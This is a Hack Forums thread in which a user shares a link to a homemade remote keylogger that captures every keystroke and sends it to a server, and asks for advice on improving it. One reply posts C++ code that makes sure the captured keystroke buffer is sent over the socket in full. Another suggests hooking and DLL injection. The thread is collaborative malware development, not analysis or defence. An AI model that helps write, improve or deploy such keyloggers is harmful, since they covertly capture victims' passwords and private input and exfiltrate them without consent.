Hack Forums
[C] Simple Remote Keylogger Code - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C] Simple Remote Keylogger Code (/showthread.php?tid=5959022)



Simple Remote Keylogger Code - F.A.S.T - Apr 10, 2019

Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge


RE: Simple Remote Keylogger Code - dracx - Apr 11, 2019

(Apr 10, 2019 03:14 PM)F.A.S.T Wrote:  Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge

https://github.com/Fahad-M/RootEdge/blob/master/rootedge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code
void send (const char * key) {
    int totalsent = 0;
    int buflen = strlen(key);
    while (buflen > totalsent){
        int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
        if (r < 0) return;
        totalsent += r;
    }
    return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.


RE: Simple Remote Keylogger Code - F.A.S.T - Apr 11, 2019

(Apr 11, 2019 12:52 AM)dracx Wrote:  https://github.com/Fahad-M/RootEdge/blob/master/rootedge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code
void send (const char * key) {
   int totalsent = 0;
   int buflen = strlen(key);
   while (buflen > totalsent){
       int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
       if (r < 0) return;
       totalsent += r;
   }
   return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.
Thanks alot! I'll definitely be looking into this! Thanks!


RE: Simple Remote Keylogger Code - dracx - Apr 11, 2019

(Apr 11, 2019 02:09 AM)F.A.S.T Wrote:  Thanks alot! I'll definitely be looking into this! Thanks!

np. glad I could help


RE: Simple Remote Keylogger Code - n1nj4_daemon - Apr 19, 2019

What about hooking? Either local or global hooks would let you do dll injections and the like. Also, C++ when compiled is kind of big and maybe C would be better, but just a suggestion.